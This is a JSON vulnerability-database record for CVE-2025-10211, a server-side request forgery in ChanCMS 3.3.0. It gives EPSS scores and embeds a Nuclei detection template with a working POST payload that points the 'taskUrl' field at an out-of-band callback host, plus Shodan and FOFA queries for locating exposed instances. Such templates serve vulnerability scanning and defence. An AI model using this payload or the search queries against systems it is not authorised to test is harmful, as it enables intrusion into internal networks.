{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2025-10211/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2025-10211/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2025-10211/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2025-10211/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2025-10211/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2025-10211"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2025-10211"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.00705,
      "kev": false,
      "percentile": 0.51254
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2025/CVE-2025-10211.yaml",
      "nuclei_template_severity": "medium",
      "nuclei_template_yaml": "id: CVE-2025-10211\n\ninfo:\n  name: ChanCMS <= 3.3.0 - Server-Side Request Forgery\n  author: Yu_Bao\n  severity: medium\n  description: |\n    yanyutao0402 ChanCMS 3.3.0 contains a server-side request forgery caused by manipulation of the \"taskUrl\" argument in /cms/collect/getArticle, letting remote attackers make arbitrary requests, exploit requires no special privileges.\n  impact: |\n    Remote attackers can make arbitrary requests from the server, potentially accessing internal resources or sensitive data.\n  remediation: |\n    Update to the latest version of ChanCMS.\n  reference:\n    - https://gitee.com/yanyutao0402/ChanCMS\n    - https://vuldb.com/?id.323484\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L\n    cvss-score: 6.3\n    cve-id: CVE-2025-10211\n    epss-score: 0.00705\n    epss-percentile: 0.51254\n    cwe-id: CWE-918\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: http.html:\"ChanCMS\"\n    fofa-query: body=\"ChanCMS\"\n  tags: cve,cve2025,chancms,ssrf,oast,oob,vkev,vuln\n\nhttp:\n  - method: POST\n    path:\n      - \"{{BaseURL}}/cms/collect/getArticle\"\n\n    headers:\n      Content-Type: application/json\n\n    body: |\n      {\n        \"taskUrl\": \"http://{{interactsh-url}}\",\n        \"titleTag\": \"title\",\n        \"articleTag\": \"body\",\n        \"parseData\": \"return data;\"\n      }\n\n    matchers:\n      - type: dsl\n        dsl:\n          - contains(interactsh_protocol, 'dns')\n          - contains_all(response, 'success','article')\n          - status_code == 200\n        condition: and\n# digest: 4a0a00473045022100da15994b287f4604f5b3915715ee2a62a7aebc6efae44359d7e07fc9aa9a2a9a02202b9dec9a5751f7d423ec17f5f66e74d3b7be4f9419a720a9192419b62a13174b:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2025-10211"
}